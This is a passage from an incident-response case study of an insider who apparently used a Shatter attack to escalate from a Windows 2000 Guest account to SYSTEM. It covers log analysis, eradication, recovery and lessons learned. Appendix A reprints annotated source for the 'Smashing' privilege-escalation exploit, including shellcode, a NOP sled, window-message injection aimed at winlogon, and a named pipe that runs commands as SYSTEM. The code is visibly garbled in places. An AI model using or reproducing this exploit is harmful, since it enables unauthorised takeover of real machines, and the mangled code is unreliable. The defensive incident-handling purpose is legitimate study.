    WriteAttributes

  Privileges
    SeBackupPrivilege
    SeRestorePrivilege

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description: 
Object Open:
  Object Server: Security
  Object Type: File
Object Name: C:\Protected\april.xls
New Handle ID: 88
Operation ID: (0,316992)
Process ID: 336
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses
READ_CONTROL
SYNCHRONIZE
ReadData (or ListDirectory)
ReadEA
ReadAttributes

These events that appear for april.xls appear for all of the files and subfiles in the protected directory.

The interesting events end with the following.

Event Type: Failure Audit
Event Source: Security
Event Category: Privilege Use
Event ID: 578
Date: 2/5/2004
Time: 12:04:21 PM
User: INS-7500\Guest
Computer: INS-7500
Description:
Privileged object operation:
Object Server: Security
Object Handle: 4294967295
Process ID: 176
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: Guest
Client Domain: INS-7500
Client Logon ID: (0x0,0x41DC8)
Privileges: SeIncreaseBasePriorityPrivilege

Event Type: Failure Audit
Event Source: Security
Event Category: Privilege Use
Event ID: 578
Date: 2/5/2004
Time: 12:04:22 PM
User: INS-7500\Guest
Computer: INS-7500
Description:
Privileged object operation:
Object Server: Security
Object Handle: 4294967295
Process ID: 176
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: Guest
Client Domain: INS-7500
Client Logon ID: (0x0,0x41DC8)
Privileges: SeIncreaseBasePriorityPrivilege
It seems we may have found the point of access. If we follow events in order, we can see that the suspect first tried to access files that she was not authorized to view. This was followed rapidly by access to the same protected file structure by a privileged user that included reading, directory traversal and writing the files elsewhere. In trying to discover the means of attack, I log in as the “Guest” account to the machine and click on the “drop box” for the run command:

![Run dialog box](image)

This will give me a list of anything that was attempted to be run through this system function. The only thing that appears is cmd.exe. There is no reason the guest account would be running this function.

All of this information is saved to a file, and copied off and stored in a firesafe with the notation of when the information was gathered, who gathered it, and who transported it to the firesafe. The same information is also recorded in the notebook. That means that is time to try to figure out how the penetration was executed. What else can we find? A search of the hard drive against the last GASP report of executables and installed software does not reveal anything new residing on the hard drive.

A meeting of the Admin Assistant, CEO, Network Administrator and Incident Handler is held to discuss the Insider Threat. Because of the probability of an “inside job”, proper handling of the logs and the evidence becomes more important when we remember that “evidence” can be used as defense as well as prosecution. While the CEO may not want to press criminal charges, all of the data collected here may be used as defensive evidence if the employee pursues “wrongful termination” or other personnel-related lawsuits. The CEO is advised to seek advice from legal counsel on what additional materials may be required in personnel-related matters.

The logs don’t tell us much, how can we avoid the problem from happening again?

**Phase 4: Eradication**

In this phase, cause and symptoms are determined to decide the best way to ensure the ongoing confidentiality, integrity, and availability of the company’s data. Because the data confidentiality has already been compromised, action needs to be taken immediately to ensure that similar reveals cannot happen again.
What we have discovered during the last two phases is that some sort of privilege escalation must have occurred. Things were being done on the system during the time the GUEST user was logged on that should not have been accessible. Although the logs show access to the Protected files, it is unclear what else may have fallen victim to the attack. There is no guarantee that this privilege elevation did not result in the planting of malicious code like a trojan or backdoor.

Because the Receptionist is the likely suspect, her badge access is revoked and she will have to ring the bell for access on Monday morning. She will then be escorted to the CEO’s office, where she will be interviewed to get her version of what occurred. What, where, when, why and how will all be addressed at that time. How long has this access been happening? Our logs rotated frequently, so building a history without input from the suspect is not possible, and assessing the damage is also difficult without knowing the “what and why”.

**What do we do with the victim system?**

Discussion ensues with the CEO, Admin Assistant, and Network Administrator. The Admin Assistant assures me that her critical data has been backed up and anything remaining on the drive is not necessary. The decision is made to rebuild the system from scratch, to ensure the ongoing functionality and eliminate the possibility of further damage to the system by a planted malicious code or other undetected fragment.

**Upgrading Security of the Systems**

**Standard Defense Improvements**

Standard Best Operating Practices are done on all systems at this time. This means that each system has to be powered on and evaluated, to ensure that a similar compromise cannot be repeated at another station. The following steps are taken immediately:

- All of the Operating Systems are patched to the current patch level
- The AV signatures are all updated, and a more current version of the software is recommended
- A vulnerability analysis is performed: Nmap is used to list interesting ports, and N-Stealth Security Scanner. One machine with unauthorized IIS services is found to be running, these services are removed from the machine.
- Every password is changed, and password enforcement is set so that passwords must be 6 characters and changed every 30 days on all accounts, except “Guest” accounts. “Guest” accounts are not permitted to change their own passwords
- Password protected screen locks are put on all systems: system will lock after 10 minutes of idle time
- All unnecessary services are disabled on the desktops
• All administrator and guest accounts are renamed, removed, or disabled. User accounts are removed from “Administrator” grouping so that administrative duties would require a separate logon
• All Administrative tools and utilities are locked down so that only the administrator account can access them
• A new GASP cycle is started and new software inventories are conducted on each machine, and compared against the reports from last cycle for any unexpected discrepancies.
• Current patches are applied to the firewall router device, and an evaluation of the current ruleset in place at the firewall is made.
• Because the office is not overly large, the CEO insists that Dameware MiniRemoteControl be removed from all systems. The Network Admin should visit each machine to apply patches, giving him an opportunity to survey the scene for unusual activity or other information that may not appear on a remote desktop.
• More recommendations are made to improve security based in the Recovery section.
• The Backup Schedule is revised so that backups are taken nightly. Since the critical applications (the financial one) reside on the server, this is an appropriate measure. A new tape will be backed up Monday – Friday and an off-site backup will be taken on Saturday. Each backup will represent a full backup, no incremental backups will be taken. One Daily tape will be rotated out each month as a weekly backup, to minimize wear and tear on the tapes.
• Windows Logs are put on “do not overwrite” and a task scheduler is set to place the critical logs on the server and then clear the logs. Auditing at individual workstations are setup for failure and success on critical points. Tools for reading and processing Windows event logs will be investigated.
• Clocks on all systems are synchronized to ensure logging is consistent for activity throughout the enterprise

Phase 5: Recovery

The recovery phase is when all systems are put back into service and tested. Additional steps are usually taken during this phase to ensure system security for the future.

Systems are returned to functioning roles, including the router/firewall. Some discussion takes place as to whether this is wise: if a fragment for continued access has been planted, then the inability to access it will tip the Receptionist that her work has been discovered. The CEO accepts that risk, but contracts an armed guard to patrol the building for the remainder of the weekend, in order to prevent the suspect from performing further damage from company grounds. Outgoing Internet connections are established and checked to ensure all is functioning as expected.

The Admin Assistant calls the Payroll provider 24-hour hotline to run test runs and ensure that her applications on the rebuilt system are working as expected. Both the
CEO and Network Admin go to each station to check the functionality of the programs and ensure that everything is fully operational. A question remains regarding the banking software in the CFOs office: this will be tested Monday morning to ensure that it has not lost any functionality.

The CEO decides that with the exception of the Receptionist, the rest of the office should be business as usual on Monday morning. It is recommended he consult with counsel, and if necessary have them present Monday morning. The Network Administrator agrees to be on call to present findings to the counsel prior to Monday if it is warranted.

Because the security is not adequate on the system, the following recommendations are made:

- Train the Network Administrator on Windows Security. The SANS Securing Windows course is recommended. Prior to the course, the SANS Securing Windows 2000 Step by Step Guide should be read and appropriate first measures should be taken for locking down the system.
- An Intrusion Detection System is recommended. Because budget is an issue, and it is a quality system, Snort is recommended for implementation.
- An employee education program is in order – since all the employees knew of this incident, a briefing and orientation to computer security is a logical requirement at this time.
- A legal review of policies and procedures currently in place should be contracted.
- The GASP inventory should be implemented more frequently.
- Background checks on all employees are recommended, and this will become a policy to perform these prior to new hires.
- A schedule for monitoring for patches, hotfixes, and service packs that are available is recommended.
- The evaluation of the “IT Consulting Service” agreement and contract is recommended. Either training someone to assist the Network Admin, hiring a relief, or outsourcing security issues is recommended.
- Research whether the current AV solution continues to be appropriate for the company. Check posted vulnerabilities against the product and make a proposal either to upgrade to the current release or switch vendors, if that is appropriate. CEO guarantees funding for this project.
- Revisit how banners are being supplied: check with counsel to make sure they meet current needs, if possible eliminate batch file executions on startup for a solution more integrated with Win2K.

**Phase 6: Lessons Learned**

This is the phase in which the Incident Handling process is discussed, and the learning experiences uncovered during the situation can be evaluated and, if necessary, put into practice.
A follow-up report is drafted by the Incident Handler and the Network Administrator. This report incorporates the notes in the notebooks and the notes on the tape recorder to capture all activities and observations that occurred. The meeting is scheduled for Monday afternoon, so that the interview with the suspect and resulting answers can be included in the report. Because it is now pretty late on Saturday, everyone is assigned to go home and rest.

Among the things noted in the report are all the notations made in boxes, this will help legal counsel follow the chain of events from the time the incident handling scenario began.

The recommendations in the previous sections are included in the report to ensure that they are budgeted and easily followed up.

Since there was no Incident Handling Procedure in place, it is hard to evaluate the process against other Incidents. However, budgets are made to improve the processes and the technology. For the processes, training is planned and policy evaluations are made. An Incident Response form is designed, and the CEO has asked the Network Admin and Administrative Assistant to put in place a response plan for incidents. On the technology side, upgrades to several systems are planned, earlier than the 5 year cycle originally budgeted. A meeting is scheduled with the ISP to discuss whether the current infrastructure meets the growing needs, and a new connection to the Internet is being evaluated. With that connection, appropriate technology: new firewall/router/IDS will also be evaluated.

Conclusions

Not all threats to information security come from the outside world, nor do they require the expertise of a “hacker” to perform. The exploit outlined here can easily be performed by anyone with a CD and 5 minutes of access to your system. Even within the smallest organization, security issues will arise, and having the means to deal with them is something that they must ensure in order to meet the criteria of “standard business practice.” Proper techniques to deal with security for a small organization do not have to be expensive – but they do have to be done!

The insider threat is something that often cannot be detected through perimeter protection measures. Once a bad guy” has access to the system, that is a problem. The problem is that more and more companies are reporting that the “bad guy” has had access to the system all along. Effective pre-employment screening, maintaining employee morale, and maintaining communication and training with employees may be the only means of defense against the insider threat.

The Shatter attack is just one way of performing privilege escalation. Without additional information, it is hard to say whether this is actually the method used during the actual
attack. For an insider threat incident, the post-evaluation with the suspect becomes critical. This will help gage the “How, why, where and when” that can only be left to speculation otherwise. Of course, take this information with a grain of salt – because who knows if this employee that has compromised the systems will pick this point in time to be honest and ethical.

Remember that evidence gathering does not only protect the possibility of prosecution should you wish to press criminal or civil charges, but it could protect the company from employee lawsuits in the event of an insider threat. Following general chain of evidence guidelines and documenting every step is critical to a successful handling of an incident.

Finally, maintaining the information on patches and vulnerabilities within the systems of an organization and staying abreast of the latest threats is critical to securing an organization of any size. This means not only protecting against whatever the latest virus is that media is touting, but understanding the vulnerabilities that may exist in the underlying infrastructure of the systems that you have chosen to build your organization’s future upon.
Appendix A: Code Decoded

My section headers are contained within boxes
Coder's comments are contained after // comment markers.

Code includes (Pragmas)

```
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
```

Step 5a:
Create basic shell code

```
char BasicShellcode[] = "\xeb\x3c\x5b\x53\xb9\x00\x00\x00\x00\xff\xd1\x31\xc9\xb1\x0c\x43\xe2\xfd\x53\x50"
"\xb9\x00\x00\x00\x00\xff\xd1\x89\xc6\x31\xc9\x51\x68\x6f\x70\x65\x6e\x41\x51\x49"
"\x51\x51\xb1\x0e\x43\xe2\xfd\x53\x89\xe3\xb1\x10\x43\xe2\xfd\x53\x51\xff\xd6\x58"
"\x58\xc3\xe8\xbf\xff\xff\xff\x73\x68\x65\x6c\x33\x32\xe2\xe4\x6c\x6c\x00\x53"
"\x68\x65\x6c\x6c\x45\x78\x65\x75\x74\x65\x41\x00";
```

#define ShellcodeLen 93 // Have to define this since we can't do strlen(BasicShellcode) - it contains null bytes.

static BOOL CommandSent = 0; // Set by the named pipe thread so we know to stop bruteforcing
static BOOL ThreadMode = 0;  // Set if we're posting to threads instead of windows.
static BOOL UseMBox = 0;     // Set if we're injecting shellcode through a message box.
static int Verbosity = 0;    // 0 == quiet, 1 == verbose, 2 == very verbose.
char *FullShellcode;         // Pointer to the fully-formatted shellcode once generated.

Step 5b:
Allocate memory

```
void MakeSploit(char *ProgName)
{
    DWORD GPA,LL;
    char *Sploit = malloc(500000);
```

Step 5c:
Obtain the address of the function in the DLL so that it may be called by
address instead of name, then obtain the windows handle of the DLL which is a required parameter to call the function. Add these addresses to the basic shell code in the “null value” fields.

//Add the addresses of GetProcAddress and LoadLibrary into the shellcode.
//We do it this way to avoid having to figure them out - after all, this is a local sploit...
GPA = (DWORD)&GetProcAddress;
LL = (DWORD)&LoadLibraryA;

memcpy(BasicShellcode + 5,&LL,4);
memcpy(BasicShellcode + 21,&GPA,4);

Step 5d:
500000 NOP block created

//Half a meg of NOPs. Window captions - MMMmmmm.....
memset(Sploit,0x90,500000);

Step 5e:
Debug tag : FOON

//Copy in the shellcode.
//Stick a FOON tag at the beginning of the NOP block so we can find it with a debugger if we need to.
*(Sploit + 499999 - strlen(ProgName) - ShellcodeLen) = 0;
*Sploit = 'F';
*(Sploit + 1) = 'O';
*(Sploit + 2) = 'O';
*(Sploit + 3) = 'N';

Step 5f:
Load into memory 499998 minus shellcode (93) minus program name (cmd.exe) +1 which will equal half a meg. – This is where we build the exploit code that will be executed!

//And copy in the sploit at the end.
memcpy((Sploit + 499998 - ShellcodeLen - strlen(ProgName)),BasicShellcode,ShellcodeLen);
memcpy((Sploit + 499998 - strlen(ProgName)),ProgName,strlen(ProgName)+1);

FullShellcode = Sploit;
}

Step 8:
Function to send to a thread (if you are attacking threads)

// Send shellcode to a thread
void SendShellcodeT(DWORD ThreadID)
Step 8:
Function to send to a window (if you are attacking Windows)

// Send shellcode to a window
void SendShellcodeW(HWND Window)
{
    DWORD Callback;
    if (!UseMBox)
    {
        if (!SendMessageW(Window, WM_SETTEXT, 0, (DWORD)FullShellcode))
        {
            printf("WM_SETTEXT failed, window %x\n",Window);
            return;
        }
    }
}

// Callback function for EnumThreadWindows
BOOL CALLBACK ThreadWndCallback(HWND Handle, LPARAM EnumerateOnly)
{
    if (CommandSent) return FALSE;
    if (EnumerateOnly)
    {
        char *Caption = (char *)malloc(1024);
        GetWindowText(Handle, Caption, 1024);
        printf("Window found, handle %x, title %s\n",Handle,Caption);
        return FALSE;
    }
}

Step 7-9:
Callback instructions being sent. These instructions are stepping through memory address between 0x300000 and 0x800000, in steps of 450000 (note switch from hex to decimal) send callbacks. If it hits our NOP code, then the hack will be successful!
free(Caption);
else
  SendShellcodeW(Handle);
  return TRUE;
}

// Thread to fire a message box.
// Probably possible to not block the thread with a MB_flag, but this is
easier than trawling MSDN..
DWORD WINAPI MBProc(LPVOID Param)
{
  MessageBox(0,0,"SMASH ME BABY!",MB_OK);
  return 0;
}

// Thread function to open and handle the named pipe. Returns 0 on no
error.
DWORD WINAPI PipeProc(LPVOID Param)
{
  DWORD BytesSent;
  HANDLE PipeHandle;

  PipeHandle =
    CreateNamedPipe("\\.\\pipe\shatter",PIPE_ACCESS_DUPLEX,PIPE_TYPE_MESSAGE|PIPE_READMODE_MESSAGE|PIPE_WAIT,2,1024,1024,0,NULL);

  if (PipeHandle == INVALID_HANDLE_VALUE)
  {
    DWORD BytesWritten;
    HANDLE ParmFile;

    //Named pipe creation failed. Trying another mechanism - named
    file.
    printf("Unable to create named pipe!\n");
    printf("Falling back to named file...\n");
    ParmFile =
      CreateFile("c:\smashing.txt",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    if (ParmFile == INVALID_HANDLE_VALUE)
    {
      printf("ERROR: File creation failed - Smashing cannot
      continue!\n");
      CommandSent = TRUE;
      return 1;
    }

    WriteFile(ParmFile,Param,strlen(Param),&BytesWritten,0);
    if (BytesWritten != strlen(Param))
    {
      printf("ERROR: Unable to write out parameters!\n");
      return 1;
    }

    CloseHandle(ParmFile);
    return 0;
  }
// Wait for a connection. ConnectNamedPipe() blocks until a connection
is received.
ConnectNamedPipe(PipeHandle,NULL);

if (WriteFile(PipeHandle,Param,strlen(Param),&BytesSent,NULL))
{
    printf("Command sent...\n",Param);
}
else
    printf("Error %d sending to pipe\n",GetLastError());

FlushFileBuffers(PipeHandle);

CommandSent = TRUE;
return 0;
}

// Run whatever attack we're using against a specific PID.
void HackProcess(DWORD PID, BOOL EnumerateOnly)
{
    HANDLE Snapshot;
    THREADENTRY32 ThreadEntry;
    BOOL WindowsFound = FALSE;
    int Threads = 0;

    if (CommandSent) return;
    if (Verbosity)
        printf("Attacking PID %d...\n",PID);

    //Enumerate threads using ToolHelp. Create a ToolHelp snapshot
    Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (Snapshot == (HANDLE)-1)
    {
        printf("Thread Snapshot failed!\n");
        return;
    }

    ThreadEntry.dwSize = sizeof(THREADENTRY32);

    // Iterate through the threads listed in the snapshot and check if
they're owned by our target PID
    if (Thread32First(Snapshot, &ThreadEntry))
    {
        do
        {
            if (CommandSent) return;
            if (ThreadEntry.th32OwnerProcessID == PID)
            {
                // We've found a thread for our target PID
                if (EnumerateOnly)
                    printf("Thread found, PID %d, Thread
%d\n",PID,ThreadEntry.th32ThreadID);
                Threads++;
            }
            Threads++;
        }
    }
}
if (ThreadMode)
{
    // We've got to post WM_TIMER's to a thread.
    Check it works...
    if (PostThreadMessage(ThreadEntry.th32ThreadID, WM_TIMER, 0, 0x0))
    {
        if (!EnumerateOnly)
            SendShellcodeT(ThreadEntry.th32ThreadID);
        else if (Verbosity == 2)
            
            printf("PostThreadMessage (WM_TIMER) failed, thread 0x%x\n", ThreadEntry.th32ThreadID);
    }
    else
    {
        // We're attacking window handles. Enumerate them.
        EnumThreadWindows(ThreadEntry.th32ThreadID, &ThreadWndCallback, Enumerate Only);
        WindowsFound = TRUE;
    }
}
while (Thread32Next(Snapshot, &ThreadEntry));

if (Verbosity)
{
  if (!WindowsFound && !ThreadMode)
    printf("No windows (%d threads) found!\n", Threads);
  if (ThreadMode)
    printf("%d threads found and attempted, PID %d\n", Threads, PID);
}
CloseHandle (Snapshot);

// Callback function for EnumWindows().
// Only used when /w switch is specified.
BOOL CALLBACK EnumWndCallback(HWND Window, LPARAM ProgName)
{
  if (ProgName == 1)
  {
    // We're enumerating only. Dump out the window details
    char *Caption = (char *)malloc(1024);
    GetWindowText(Window, Caption, 1024);
    printf("Window found, handle %x, title %s\n", Window, Caption);
    free(Caption);
    return TRUE;
  }
  if (!CommandSent)
    SendShellcodeW(Window);
return TRUE;

### Beginning of main code

```c
void main (int argc, char *argv[])
{
    char User[128];
    DWORD Mode = PIPE_READMODE_MESSAGE;
    DWORD Length = 128;
    HANDLE PipeHandle;
```

#### Step 3:
Smashing first determines the username and what privileges it currently has.

```c
GetUserName(&User[0],&Length);
    //If we have LocalSystem, there's two options. Either we're the result
    //of a successful exploit,
    //or someone wants to do some enumeration as LocalSystem (different
    //desktop maybe?).
    //If we've been renamed to smashenum.exe, assume we're just
    //enumerating.
    if (!stricmp(User,"SYSTEM") && !strstr(argv[0],"smashenum"))
    {
        // We have LocalSystem. Read parameters from named pipe.
        BOOL Pipe = TRUE; // Are we actually reading from a pipe? Set to
false if we've failed over to a file.
        DWORD BytesRead;
        char *Buffer = malloc(1024);
        BOOL Interactive = FALSE; // Do we want to force
winsta0\default?
        char *Parms = malloc(1024);
        STARTUPINFO SInfo;
        PROCESS_INFORMATION PInfo;
```

#### Step 4:
See if pipe is open, and can the program “smashing” communicate with it?

```c
    // Try to connect to the pipe.
    PipeHandle =
CreateFile("\\\.\pipe\shatter",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
    if (PipeHandle == INVALID_HANDLE_VALUE)
    {
        // Named pipe has failed. Try to read parameters from a
file..
        Pipe = FALSE;
        printf("Unable to create named pipe!\n");
        PipeHandle =
CreateFile("c:\smashing.txt",GENERIC_READ,0,0,OPEN_EXISTING,0,0);
        if (PipeHandle == INVALID_HANDLE_VALUE)
        {
```
printf("ERROR: Unable to open parameter file, error
%d!\n", GetLastError());
    // If we've got an error, don't return. We want to
    // be able to read the error message...!
}
} else {
    if (!SetNamedPipeHandleState(PipeHandle,&Mode,NULL,NULL))
    {
        printf("Error %d setting pipe
state\n",GetLastError());
        // If we've got an error, don't return. We want to
        // be able to read the error message...!
    }
}

    // Fortunately, a pipe handle is a file handle, so use the same
    // functions to read from it.
    if (ReadFile(PipeHandle,Buffer,1024,&BytesRead,NULL))
    {
        *(Buffer+BytesRead) = 0;
    } else {
        if (Pipe)
            printf("Error %d reading from
pipe!\n",GetLastError());
        else
            printf("Error %d reading from
file!\n",GetLastError());
    }
    CloseHandle(PipeHandle);
    if (!Pipe)
        DeleteFile("c:\\smashing.txt");

    //Parameters are all now stored in Buffer. Check if \i was
    //specified.
    if (strstr(Buffer,"\n"))
        Interactive = TRUE;

    //All good. Create the process.
    SInfo.cb = sizeof(STARTUPINFO);
    SInfo.lpReserved = 0;
    if (Interactive)
    {
        SInfo.lpDesktop = strstr(Buffer,"\n") + 1;
        *strstr(Buffer,"\n") = 0;
    } else
        SInfo.lpDesktop = NULL;
    SInfo.lpTitle = 0;
    SInfo.dwFlags = 0;
    SInfo.cbReserved2 = 0;
SInfo.lpReserved2 = 0;

if (!CreateProcess(0, Buffer, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &SInfo, &PInfo))
{
    printf("CreateProcess failed, error %d", GetLastError());
}

else

Step 11:
Open Smashing pipe

{
  // Low privs so far. Hack stuff :)
  BOOL Interactive = 0;
  BOOL BruteForce = 0;
  BOOL WindowEnum = 0;
  char *Buffer = malloc(1024);
  char CurrentProcess[256];
  DWORD *PIDs = malloc(4000);
  DWORD Returned;
  DWORD TargetPID = 0;
  DWORD ThreadID;
  HANDLE ThreadHandle;
  int PIDsHacked = 0;
  BOOL EnumerateOnly = 0;

  This is where it displays the options for the command line and checks to make sure at least two have been specified.

  // Whatever happens, we need our named pipe up and running ASAP.

  // Parse command-line and pass it to the thread
  if (argc < 2)
  {
      printf("Smashing v1.07 by Foon - ivegotta@tombom.co.uk\n");
      printf("Usage: Smashing [options] <Command line>\n");
      printf("Options: \n");
      printf("/i = Target process should be interactive\n");
      printf("/t = Send messages to threads instead of processes\n");
      printf("/m = Inject shellcode through a message box\n");
      printf("/e = Enumerate only, no exploiting\n");
      printf("/v = Verbose - repeat for very verbose\n");
      printf("/p:PID = Process ID to exploit\n");
      printf("/b = Bruteforce attack against all PIDs\n");
      printf("/w = Bruteforce attack against all windows\n");
      printf("NOTE: /p /b and /w options are mutually exclusive!\n");
      return;
  }

  else

This is it processes command line arguments that you have given

{
int CurrentParm;
int Commands = 0;
*Buffer = 0;
for (CurrentParm = 1; CurrentParm < argc; CurrentParm++)
{
    if (*argv[CurrentParm] == '/')
        switch (*(argv[CurrentParm]+1))
        {
            case 'p':
            case 'P':
                TargetPID = atoi(argv[CurrentParm] + 3);
                if (!TargetPID)
                {
                    printf("ERROR: Invalid PID specified in /p: switch!
                    
                    return;
                }
#ifdef _DEBUG
                printf("Target PID: %d
                
                break;
#endif
            case 'i':
            case 'I':
                Interactive = 1;
#ifdef _DEBUG
                printf("Interactive switch specified
                
                break;
#endif
            case 'e':
            case 'E':
                EnumerateOnly = 1;
                Verbosity = 2;
#ifdef _DEBUG
                printf("Enumerate only switch specified
                
                break;
#endif
            case 'w':
            case 'W':
                WindowEnum = 1;
#ifdef _DEBUG
                printf("Window bruteforce switch specified
                
                break;
#endif
            case 'b':
            case 'B':
                Bruteforce = 1;
#ifdef _DEBUG
                printf("Bruteforce switch specified
                
                break;
#endif
No options that were recognized were entered, process defaults start here.

Process the options and parameters that were recognized.
```c
strcat(Buffer, " ");
CurrentParm++;
Commands++;
}
}

if (!Commands && !EnumerateOnly)
{
  printf("ERROR: no command found!\n");
  return;
}

if ((TargetPID && Bruteforce) || (TargetPID && WindowEnum)
  || (Bruteforce && WindowEnum))
{
  printf("ERROR: Only specify one of the /p /b and /w
switches!\n");
  return;
}
}

if (Interactive)
{
  strcat(Buffer, "\nWinSta0\nDefault");
}
else
{
  char Name[128];
  int SizeNeeded;
  strcat(Buffer, "\n");
  GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &Name, 128, &SizeNeeded);
  strcat(Buffer, Name);
  GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &Name, 128, &SizeNeeded);
  strcat(Buffer, "\n");
  strcat(Buffer, Name);
}

if (Verbosity)
  printf("Command to send to pipe (%d
bytes):
%s
", strlen(Buffer), Buffer);

Step 4:
If you are not running enumerate only, create a pipe to use for getting information from the threads – this is where we have started to perform the exploit.

//Start the pipe in another thread.
if (!EnumerateOnly)
{
ThreadHandle = CreateThread(0, 0, &PipeProc, Buffer, 0, &ThreadID);  
    if (!ThreadHandle)  
    {  
        printf("FATAL: Unable to create pipe thread, error %d\n", GetLastError());  
        return;  
    }  

    //Retrieve command-line for Smashing  
    //TODO: Cope with running Smashing from the path rather than  
    //current directory  
    if (!strstr(argv[0], ":\"))  
    {  
        GetCurrentDirectory(256, &CurrentProcess[0]);  
        strcat(&CurrentProcess[0], ":\");  
        strcat(&CurrentProcess[0], argv[0]);  
    } else  
    {  
        sprintf(&CurrentProcess[0], ":\", argv[0]);  
    }

**Step 5:**

Call the function to build the FullShellCode Exploit Data.

// Make shellcode into a full sploit.  
MakeSploit(&CurrentProcess[0]);

if (UseMBox)  
{  
    //Set up a message box containing our shellcode.  
    //It's mapped into every process on the desktop, so we  
    //don't need to SetWindowText() :)  

    // Call MessageBox() from another thread so we don't get  
    // blocked.  
    if (!CreateThread(0, 0, &MBProc, Buffer, 0, &ThreadID))  
    {  
        printf("FATAL: Unable to create message box thread,  
        error %d\n", GetLastError());  
        return;  
    } else  
    {  
        int SleepTime;  
        HWND MBWindow;  
        if (Verbosity)  
            printf("Message box thread created OK\n");  

        //Find the message box window.  
        //Might take a second or two, so sleep a little.  
        //Check every 10 ms though, so it's not visible for  
        long.

        for (SleepTime = 0; SleepTime < 300; SleepTime++)  
        {  
            MBWindow = FindWindow(0,"SMASH ME BABY!");  
        }
    }
}
if (MBWindow) break;
Sleep(10);
}
if (!MBWindow)
{
    printf("FATAL: Unable to locate message box window!\n");
    return;
}
else
{
    //Found it! Hide it, and slap the shellcode in the window title.
    if (Verbosity)
    {
        printf("Message box window located\n");
        ShowWindow(MBWindow,SW_HIDE);
        // Note: SendMessageW. Unicode - MMMmmm....
        SendMessageW(MBWindow,WM_SETTEXT,0,(DWORD)FullShellcode);
    }
}

If using Window Enumeration attack, call the function EnumWindows to perform the attack.

if (WindowEnum)
{
    // We're attacking through window enumeration.
    BOOL Result;
    if (EnumerateOnly)
    {
        Result = EnumWindows(&EnumWndCallback,1);
    }
    else
    {
        Result = EnumWindows(&EnumWndCallback,(LPARAM)&CurrentProcess[0]);
    }
    if (!Result)
    {
        printf("ERROR! Window enumeration failed (Code %d)!\n",GetLastError());
        return;
    }
}

If you are not using Windows Enumeration, check to see if we have already found the correct Process ID to hack.

//Find PID to hack. If it's specified on command line...
else if (TargetPID)
{
    HackProcess(TargetPID, EnumerateOnly);
}
else
Otherwise search for the target Process ID to attack.

// We have to iterate through processes.
{
    if (EnumProcesses(PIDs, 4000, &Returned))
    {
        DWORD CurrentPID;
        for (CurrentPID = 4; CurrentPID < (Returned / sizeof(DWORD)); CurrentPID++)
        {
            DWORD PID = *(PIDs + CurrentPID);
            if (CommandSent) break;
            // Iterating through all PIDs.
            if (Bruteforce)
            {
                // We're bruteforcing. Hit every PID on
                // the system, except us...)
                if (PID != GetCurrentProcessId())
                {
                    HackProcess(PID, EnumerateOnly);
                    PIDsHacked++;
                }
            }
            else
            {
                // We're trying to find winlogon.exe...
                HANDLE ProcHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, PID);
                if (ProcHandle)
                {
                    HMODULE ModHandle[100];
                    DWORD Count;
                    if (EnumProcessModules(ProcHandle, &ModHandle[0], 100, &Count))
                    {
                        char Filename[256];
                        if (GetModuleFileNameEx(ProcHandle, ModHandle[0], &Filename[0], 256))
                        {
                            if (strstr(&Filename[0], "winlogon.exe"))
                            {
                                HackProcess(PID, EnumerateOnly);
                                TargetPID = PID;
                                PIDsHacked++;
                            }
                        }
                    }
                }
            }
        }
    }
}
End of program, send appropriate message to console....

//Check if it worked.
if (!TargetPID && !Bruteforce && !WindowEnum)
{
    printf("Fatal error: Unable to locate winlogon.exe!\n");
    printf("Target PID can be forced using /p switch\n");
    return;
} else {
    if (Bruteforce)
        printf("Bruteforce complete - %d processes attempted\n", PIDsHacked);
    else if (WindowEnum)
    {
        printf("Window enumeration successful!\n");
    } else {
        if (PIDsHacked > 1)
            printf("%d processes attempted.\n", PIDsHacked);
        else
            printf("1 process attempted.\n");
    }

    // Before we quit, give the thread an extra second if it's not there already...
    // If the command has been sent, the thread will be dead, so this will return instantly.
    WaitForSingleObject(ThreadHandle, 1000);
    if (CommandSent)
    {
        printf("The command was sent successfully.\n");
        printf("If it didn't work, you did something wrong - this program worked :)\n");
    } else if (!EnumerateOnly)
    {
        printf("The command was NOT sent.\n");
        printf("You should try again with a different attack vector \n");
        if (Bruteforce)
            printf("(try /w)\n");
        if (WindowEnum)
            printf("(try /p)\n");
        if (TargetPID)
            printf("(try /b)\n");
    }
}
Appendix B: What are our vulnerabilities?

This table is the result of research of the bug fixes posted in SP4. The first 3 columns are the list as it is posted on the Microsoft site at [http://support.microsoft.com/?kbid=327194](http://support.microsoft.com/?kbid=327194). The notes column are quotes from the article number listed on the left side and are the reason why/why not this should be a concern in the environment. (For instance, if the Article pertained to Novell, it is not a concern.) In cases where a quick determination could not be made, the concern was rated as “?”.

The first 20 are probable security concerns within the organization, four of which are privilege elevation problems (including the 6th one, which is the one demonstrated in this paper). The list has been sorted according to the concern rating for easier reference.

<table>
<thead>
<tr>
<th>Article number</th>
<th>Article title</th>
<th>Category</th>
<th>Notes</th>
<th>Concern?</th>
</tr>
</thead>
<tbody>
<tr>
<td>296441</td>
<td>MS01-022: WebDAV Service Provider Can Allow Scripts to Levy Requests as a User</td>
<td>Security</td>
<td>Microsoft has confirmed that this problem may cause a degree of security vulnerability</td>
<td>Yes</td>
</tr>
<tr>
<td>296476</td>
<td>MS02-055: Unchecked Buffer in Windows Help Facility May Allow Attacker to Run Code</td>
<td>Base operating system</td>
<td>This buffer may be exploited by a Web page that is hosted on an attacker’s site</td>
<td>Yes</td>
</tr>
<tr>
<td>323255</td>
